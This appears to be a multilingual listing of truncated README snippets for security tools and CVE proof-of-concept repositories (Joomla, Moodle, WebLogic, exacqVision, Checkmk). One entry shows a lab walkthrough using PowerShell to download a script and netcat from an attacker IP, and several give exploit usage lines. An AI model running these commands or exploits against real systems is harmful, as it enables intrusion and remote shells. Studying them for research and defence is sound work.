VeilTransfer

VeilTransfer 2.0 VeilTransfer es una utilidad de exfiltración de datos diseñada para probar y mejorar las capacidades de detección. Esta herramienta simula técnicas reales de exfiltración de datos utilizadas por actores de amenazas avanzados, lo que permite a las organizaciones evaluar y mejorar ...

frp

frp README | 中文文档 Sponsors frp is an open source project with its ongoing development made possible entirely by the support of our awesome sponsors. If you'd like to join them, please consider sponsoring frp's development. Gold Sponsors The complete IDE crafted for professional Go developers The...

CVE-2024-7399-POC

CVE-2024-7399 针对 CVE-2024-7399 的漏洞利用程序。 更多详情可在此处查看：https://davidxbors.github.io/0xpages/posts/cve-2024-7399/。 用法： python3 CVE-2024-7399.py https://localhost:7002/ --check python3 CVE-2024-7399.py https://localhost:7002/ --execute python3 CVE-2024-7399.py https://localhost:7002/ --upload test.txt...

CVE-2018-2636

安装 $ pip install --user requests argparse unicodedata 信息 CVE-2018-2636 的 POC。 使用示例 python eGw.py -H 127.0.0.1 -P 8080 -i ... Let's get info about server ! Your instance is vulnerable to CVE-2018-2636 ... 链接 Oracle Critical Patch Update Advisory January 2018 - CVE-2018-2636 Oracle Micros POS 再次被攻破...

Nanobrok

Nanobrok Web Service Androidデバイスをリモートで制御・保護するためのPython製Webサービス。 公式アプリはPlayStoreで入手できます： NanobrokPro Nanobrok Community 概要 Nanobrok-Server は、Pythonで書かれた強力なオープンソースのWebサービスで、Androidデバイスの制御と保護を目的としています。安定した安全な接続を提供し、デバイスの遠隔制御と保護を実現します。 主な機能 デバイスの位置情報マッピング アラートフラグ（紛失または盗難時のイベント） オーディオマイク録音 リモートファイル転送...

CVE-2022-0332

CVE-2022-0332 Moodle 3.11 至 3.11.4 - SQL注入 POC GET...

CVE-2023-23752

CVE-2023-23752 描述 此仓库包含 Python 和 Bash 脚本，它们是 'noraj'（Alexandre ZANNI）为 Joomla! CMS 4.0.0 至 4.2.7 版本中的 CVE-2023-23752 漏洞所编写的 Ruby 原始概念验证（PoC）的移植版本。该漏洞是一个已识别的访问控制缺陷，可能导致未授权访问关键 Web 服务端点。攻击者可能利用此漏洞获取敏感信息的未授权访问权限，或执行未授权操作。 使用方法： Bash 脚本语法： ./CVE-2023-23752.sh http://example.com Python 脚本语法： python...

satellite

satellite Satellite は、リクエストをフィルタリングして正しいターゲットがペイロードを取得できるようにする、Webペイロードホスティングサービスです。また、非常に特定の状況でのみアクセスされるべきファイルをホストするための便利なサービスにもなります。 クイックスタートガイド 1. Ubuntu で .deb ファイルを使用して satellite をインストール します dpkg -i satelliteX.X.Xlinuxamd64.tar.gz 2. 提供するファイルを作成します echo 'It worked!' /var/www/html/index.html ...

rematch

|Read The Docs| |Gitter Chat| |Build Status| |Codacy Badge| |idaplugin PyPI| |server PyPI| rematch REmatchは、また別のバイナリ比較ツールです。 Rematchはまだ開発中であり、私たちが望むほど機能が充実しているわけではありません。 現時点では基本的な機能が利用可能で、より高度な機能については現在取り組んでいます。 幸いなことに、拡張性と保守性を最優先事項としたため、比較的早くそこに到達できるでしょう。...

CVE-2021-40438

CVE-2021-40438 构建 docker build -t cve-2021-40438:1.0 . 运行 docker run --rm -d -p 4444:80 cve-2021-40438:1.0 检查 CVE-2021-40438 ./main.sh...

CVE-2023-34924

CVE-2023-34924 H3CMagicB1STV100R012 ルーターのバッファオーバーフローの脆弱性 CVE 情報: • the name of an affected Product: H3C Magic B1STW B1STV100R012 router • the affected or fixed versions: affected version: H3C-Magic-B1STW - H3CMagicB1STV100R012. Fixed version: none • the CVE ID for the entry if possible:...

WSSAT

WSSAT - Webサービスセキュリティ評価ツール WSSATは、オープンソースのWebサービスセキュリティスキャンツールであり、設定ファイルを編集するだけで脆弱性を追加、更新、削除できる動的な環境を提供します。このツールはWSDLアドレスリストを入力ファイルとして受け入れ、各サービスに対して静的テストと動的テストの両方をセキュリティ脆弱性に対して実行します。また、情報漏洩の制御も行います。 このツールを使えば、すべてのWebサービスを一度に分析し、組織全体のセキュリティ評価を確認できます。 WSSATの目的は、組織が以下を実現できるようにすることです。...

CVE-2021-40906

CVE-2021-40906 - 未经身份验证区域中的反射型XSS 应用： CheckMK Management Web Console 软件版本： 从1.5.0到1.5.0p25 作者： Edgar Augusto Loyola Torres. 攻击类型： 反射型XSS 解决方案： 更新至软件版本1.6.0p26或更高版本 摘要： CheckMK Raw...

cve-2017-10271-poc

CVE-2017-10271 POC 介绍 这是一个针对CVE-2017-10271的自动测试POC，已在CentOS 7和Windows 7/10上测试通过。 编译 本项目使用Rust语言编写。你需要先从 https://www.rust-lang.org/ 安装Rust环境，然后使用以下代码构建项目。 $ cargo build --release 之后你可以在 target/release/cve-2017-10271-poc 处获得二进制文件。 使用说明 显示帮助信息 直接执行以下命令即可获取帮助信息： $ cve-2017-10271-poc 检测单个网站 假设你有一个网站...

CVE-2020-6286

CVE-2020-6286 SAP NetWeaver AS JAVA LM配置向导 目录遍历 SAP NetWeaver 是 SAP 的集成技术平台，也是自 SAP Business Suite 以来所有 SAP 应用的技术基础。SAP NetWeaver 是一个面向服务的应用和集成平台，为 SAP 应用提供开发和运行环境，也可用于自定义开发以及与其他应用和系统的集成。SAP NetWeaver AS JAVA LM配置向导 版本 7.30, 7.31, 7.40, 7.50 的 Web 服务中，某个参数的输入路径验证不足，允许一个 未认证 的攻击者利用某个方法将 zip...

CVE-2021-42913

CVE-2021-42913 Samsung Printer SCX-6X55X Improper Access Control Samsung Printer SCX-6x55X Series SyncThru Web Service 受到一个不当访问控制漏洞的影响。 该漏洞可能允许攻击者获取 SMB 用户和密码列表。...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2023-23752

Joomla! options 引数 url: 対象のJoomla!サイトのルートURL（ベースパス）。必要に応じてHTTPスキーム、ポート、ルートフォルダを含みます。 --debug: オプション。設定すると、スクリプトは取得したデータを含むデバッグ情報を出力します。 --no-color: オプション。設定すると、色付き出力を無効にし、さまざまな端末エミュレータとの互換性を向上させます。 例 python CVE-2023-23752.py https://example.com 特徴 ユーザー情報（ID、名前、ユーザー名、メール、グループ名）を取得して表示します。...

CVE-2020-9047

使用/帮助菜单 usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVision Web Service versions...

EUVD-2009-5122

Belkin Bulldog Plus version 4.0.2 build 1219 contains a stack-based buffer overflow vulnerability in its web service authentication handler. When a specially crafted HTTP request is sent with an oversized Authorization header, the application fails to properly validate the input length before...